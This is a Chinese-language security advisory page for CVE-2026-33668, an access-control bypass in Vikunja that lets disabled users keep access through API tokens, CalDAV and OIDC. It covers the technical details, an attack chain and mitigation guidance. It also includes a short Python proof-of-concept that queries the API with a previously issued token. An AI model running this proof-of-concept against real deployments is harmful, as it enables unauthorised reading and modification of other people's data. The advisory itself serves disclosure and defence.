IPBUF安全漏洞报告
English
CVE-2026-33668 CVSS 8.1 高危

CVE-2026-33668 Vikunja 访问控制绕过漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33668
漏洞类型
访问控制绕过
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Vikunja

相关标签

访问控制绕过认证绕过Vikunja逻辑漏洞API安全

漏洞概述

Vikunja是一个开源自托管任务管理平台。在0.18.0至2.2.1之前的版本中,存在严重的访问控制绕过漏洞。当用户账户被管理员禁用或锁定时,系统仅在本地登录和JWT令牌刷新路径强制执行状态检查。然而,API令牌、CalDAV基本认证和OpenID Connect这三种其他认证路径未验证用户状态,导致被禁用或锁定的用户仍可继续访问API并同步数据。该漏洞可能导致敏感信息泄露或数据被篡改。

技术细节

该漏洞的根本原因在于系统认证逻辑的不一致性及中间件配置缺失。在受影响版本中,Vikunja仅在本地登录表单提交和JWT令牌刷新端点实施了严格的用户状态(禁用/锁定)检查。然而,在处理API令牌、CalDAV基本认证以及OpenID Connect回调时,系统仅验证了凭证的签名或密码正确性,却未在请求处理链中查询数据库以确认用户当前是否处于“禁用”或“锁定”状态。攻击者只需在账户被管理员禁用前获取有效的API Token或配置好CalDAV客户端,即便账户随后被锁定,仍可利用这些凭证持续发送API请求。由于服务器端缺少必要的身份后验证中间件,这些请求被正常处理,从而绕过了访问控制策略,导致未经授权的数据读取和修改。

攻击链分析

STEP 1
1. 凭证获取
攻击者(或恶意内部人员)在账户处于正常状态时,生成有效的API Token或配置CalDAV客户端。
STEP 2
2. 账户禁用
管理员发现异常或因离职等原因,在系统中禁用或锁定了该用户账户,期望阻止其访问。
STEP 3
3. 绕过验证
攻击者使用之前获取的API Token向Vikunja API发送请求。
STEP 4
4. 未授权访问
由于服务器未在API Token认证路径检查账户状态,请求成功通过验证,攻击者可读取或修改数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-33668 # This script demonstrates that a disabled user can still access the API using a valid API Token. import requests # Configuration # Replace with the target URL TARGET_URL = "http://localhost:3456/api/v1/tasks" # Replace with an API Token obtained before the account was disabled API_TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." def exploit(): headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } print(f"[*] Attempting to access Vikunja API using token for a disabled account...") try: response = requests.get(TARGET_URL, headers=headers) if response.status_code == 200: print("[+] Vulnerability Confirmed! The server responded with 200 OK.") print(f"[+] Data retrieved: {response.json()}") else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": exploit()

影响范围

Vikunja >= 0.18.0, < 2.2.1

防御指南

临时缓解措施
如果无法立即升级,建议管理员手动进入数据库,删除或标记所有属于已禁用用户的API Token,并在应用网关层增加针对已禁用用户名的拦截规则,或者暂时关闭CalDAV和OIDC登录功能以阻断绕过路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表